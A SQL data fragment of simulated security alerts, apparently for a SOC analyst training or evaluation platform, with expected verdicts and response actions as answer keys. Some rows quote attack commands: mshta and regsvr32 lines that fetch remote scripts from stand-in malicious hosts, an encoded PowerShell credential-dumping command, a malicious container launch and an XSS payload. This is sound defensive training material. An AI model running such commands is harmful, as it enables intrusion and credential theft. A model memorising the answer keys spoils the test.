(2058, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A sensitive AWS S3 bucket was accessed from an unauthorized IP address. Possible data exfiltration attempt detected.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:23Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /bucket-name/important-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1203 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Username associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate AWS S3 endpoint\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized IP accessed a sensitive S3 bucket, indicating potential data leak.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2059, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An IAM user account attempted to escalate privileges using an admin account token. Detected unusual activity patterns.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.0.0.12\",\"username\":\"compromised_user\",\"hostname\":\"azure-portal\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee compromised_user --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 654 times for credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username involved in abnormal privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee compromised_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Compromised user attempted privilege escalation, indicating a potential breach.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2060, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A GCP service account was used from an unknown IP address to access critical resources. Potential hijacking detected.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.128.0.2\",\"username\":\"service-account@project.iam.gserviceaccount.com\",\"hostname\":\"gcp-project\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project.iam.gserviceaccount.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account used in abnormal contexts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized access to GCP service account detected, suggesting possible hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2061, 'Prisma Cloud Detection of Unauthorized Kubernetes Access', 'high', 'Prisma Cloud', 'A Kubernetes cluster was accessed by an external IP address not listed in the whitelist. Possible lateral movement attempt.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:50:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"10.1.2.3\",\"username\":\"kube-admin\",\"hostname\":\"k8s-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec --kubeconfig /path/to/config\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec --kubeconfig /path/to/config\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command linked to unauthorized access attempts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"External IP accessed Kubernetes cluster, indicating potential lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2062, 'Wiz Detection of Unauthorized Serverless Function Execution', 'medium', 'Wiz', 'An AWS Lambda function executed by an external IP not associated with any known entities. Potential unauthorized access detected.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:35:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.150\",\"dst_ip\":\"10.0.0.5\",\"username\":\"lambda_function_exec\",\"hostname\":\"aws-lambda\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name sensitiveFunction\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized AWS Lambda executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name sensitiveFunction\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command associated with unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized execution of Lambda function indicating data exfiltration risk.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2063, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An external IP was observed accessing sensitive data from an S3 bucket. The activity is consistent with data exfiltration attempts.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing sensitive data indicates a breach attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2064, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'A suspicious privilege escalation was detected in Azure IAM, potentially compromising administrator credentials.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"azure.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for 1021 brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"High-value target account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Failed login attempts from a foreign IP suggest a targeted credential compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2065, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Unusual activity detected from a GCP service account indicating possible hijacking and unauthorized access.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:35:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"172.16.0.10\",\"username\":\"gcp-service-account\",\"hostname\":\"cloud.google.com\",\"request_body\":\"\",\"command_line\":\"gsutil cp gs://mybucket/sensitive-data .\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gsutil cp gs://mybucket/sensitive-data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The execution of gsutil with an external IP suggests data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2066, 'Prisma Cloud Kubernetes Misconfiguration Exploit', 'high', 'Prisma Cloud', 'A misconfigured Kubernetes cluster was detected and exploited to run unauthorized containers.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:25:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.0.2.123\",\"dst_ip\":\"10.1.2.3\",\"username\":\"kube-admin\",\"hostname\":\"kubernetes.cluster.local\",\"request_body\":\"\",\"command_line\":\"kubectl run malicious-container --image=malicious-image\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP known for exploiting Kubernetes vulnerabilities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl run malicious-container --image=malicious-image\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to deploy unauthorized containers\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of kubectl to run unauthorized containers indicates lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2067, 'Wiz Serverless Function Exploit Detected', 'high', 'Wiz', 'A serverless function execution was detected with an anomalous and potentially harmful payload.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:50:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.44\",\"dst_ip\":\"10.0.3.14\",\"username\":\"lambda-exec\",\"hostname\":\"aws.lambda.com\",\"request_body\":\"<script>alert(\'XSS\')</script>\",\"command_line\":\"node malicious.js\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"<script>alert(\'XSS\')</script>\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"XSS payload detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of an XSS payload in serverless function execution suggests a web attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2068, 'AWS GuardDuty Detects S3 Bucket Data Leak Attempt', 'critical', 'AWS GuardDuty', 'An unauthorized data access attempt was detected on an S3 bucket. The source IP belongs to a known malicious actor. Immediate action is required to prevent data exfiltration.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:45Z\",\"event_type\":\"s3_data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data\",\"command_line\":\"aws s3 cp s3://bucket_name/sensitive_data .\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Attempted access by unauthorized user\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://bucket_name/sensitive_data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates potential data exfiltration attempt\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP is known for malicious activities, and the command line indicates an unauthorized data transfer attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2069, 'Azure Defender Detects Unusual IAM Privilege Escalation', 'high', 'Azure Defender', 'A user account attempted to gain privileged access using an unusual method, but the IP address appears to be from an internal range.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:32Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"10.0.0.23\",\"dst_ip\":\"10.0.0.45\",\"username\":\"john.doe\",\"hostname\":\"azure-vm01\",\"command_line\":\"az role assignment create --assignee john.doe --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"User is a known employee with prior authorized access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was conducted within the internal network by a known user, indicating a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2070, 'GCP SCC Alerts on Service Account Hijacking Attempt', 'medium', 'GCP SCC', 'A service account attempted unauthorized access from an unusual IP address, but the IP is from a trusted partner network.', 'Access Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:57:18Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"198.51.100.12\",\"dst_ip\":\"172.16.0.5\",\"username\":\"service-account-123\",\"hostname\":\"gcp-service\",\"command_line\":\"gcloud auth activate-service-account --key-file=/path/to/key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a trusted partner network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Service account regularly used for inter-company data sharing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access was mistakenly flagged due to the IP address, which is from a trusted partner network.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2071, 'Prisma Cloud Detects Anomalous Kubernetes Pod Creation', 'medium', 'Prisma Cloud', 'An unexpected Kubernetes pod creation was detected, but it matches a known maintenance script signature.', 'Anomaly Detection', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:12:07Z\",\"event_type\":\"k8s_pod_creation\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"k8s-admin\",\"hostname\":\"k8s-cluster\",\"command_line\":\"kubectl apply -f maintenance-pod.yaml\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP address belongs to internal management network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl apply -f maintenance-pod.yaml\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Procedures\",\"verdict\":\"clean\",\"details\":\"Command matches known maintenance script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The pod creation event aligns with a scheduled maintenance activity, indicating a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2072, 'Wiz Detects Potential Serverless Function Abuse', 'high', 'Wiz', 'An unusual spike in serverless function executions was detected, originating from an internal source. The activity matches a stress test pattern.', 'Anomaly Detection', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:39:29Z\",\"event_type\":\"serverless_execution\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.60\",\"username\":\"devops-team\",\"hostname\":\"serverless-env\",\"command_line\":\"invoke stress-test\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal DevOps team\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"invoke stress-test\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Procedures\",\"verdict\":\"clean\",\"details\":\"Command matches stress test procedure\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The serverless function spike was part of a planned stress test by the DevOps team, confirming a false positive.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2073, 'Credential Dump from LSASS via PowerShell Encoded Command', 'critical', 'CrowdStrike', 'A PowerShell script was executed with an encoded command targeting LSASS to dump credentials. This activity is indicative of a sophisticated attack aiming for credential harvesting.', 'Credential Dumping', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"Workstation-01\",\"command_line\":\"powershell.exe -enc aW1wb3J0LU1vZHVsZSBTZWN1cml0eS5OZXQ7IFtTeXN0ZW0uTmV0LlNlcnZpY2VQcm9jZXNzXTo6R2V0UHJvY2Vzc2VzKCJsc2FzcyIpLmV4aXQ=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aW1wb3J0LU1vZHVsZSBTZWN1cml0eS5OZXQ7IFtTeXN0ZW0uTmV0LlNlcnZpY2VQcm9jZXNzXTo6R2V0UHJvY2Vzc2VzKCJsc2FzcyIpLmV4aXQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a PowerShell command used in credential dumping attacks.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The encoded PowerShell command is used to dump credentials from LSASS, a known technique employed by attackers for credential theft.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2074, 'Lateral Movement Detected via WMI Execution', 'high', 'SentinelOne', 'Suspicious WMI activity detected as an attacker attempts to move laterally between systems using WMI commands.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:45:13Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.8\",\"username\":\"administrator\",\"hostname\":\"Server-03\",\"command_line\":\"wmic /node:192.168.1.8 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.8 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement within the network.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI is commonly used for lateral movement by adversaries to execute commands on remote hosts without dropping files.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2075, 'Fileless Malware Detected via MSHTA Execution', 'critical', 'Carbon Black', 'A fileless malware attack was detected using MSHTA to execute a malicious script in memory, bypassing traditional file-based detections.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"mbrown\",\"hostname\":\"Workstation-07\",\"command_line\":\"mshta.exe http://malicious.site/script.hta\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.site/script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious HTA script used for fileless malware attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of MSHTA to execute a remote script is indicative of fileless malware, which executes in memory and often evades file-based detection methods.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2076, 'Suspicious Network Activity Indicative of Lateral Movement', 'high', 'Sysmon', 'Unusual internal network traffic patterns suggest lateral movement attempts within the network, potentially using compromised credentials.', 'Lateral Movement', 'T1076', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"192.168.3.50\",\"username\":\"svc_account\",\"hostname\":\"Server-12\",\"command_line\":null}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network traffic pattern between internal hosts suggests potential lateral movement, possibly indicating compromised credentials or a pivot attempt.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2077, 'Registry Modification via Regsvr32 for Persistence', 'high', 'CrowdStrike', 'Regsvr32 was used to execute a suspicious script, modifying registry settings to establish persistence on the host.', 'Persistence', 'T1112', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:55:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"192.168.4.30\",\"username\":\"hlee\",\"hostname\":\"Workstation-14\",\"command_line\":\"regsvr32 /s /n /u /i:http://malicious.example.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL linked to a known malicious script used for persistence.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 was leveraged to execute a remote script designed to modify registry settings, a common technique for establishing persistence on the host.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
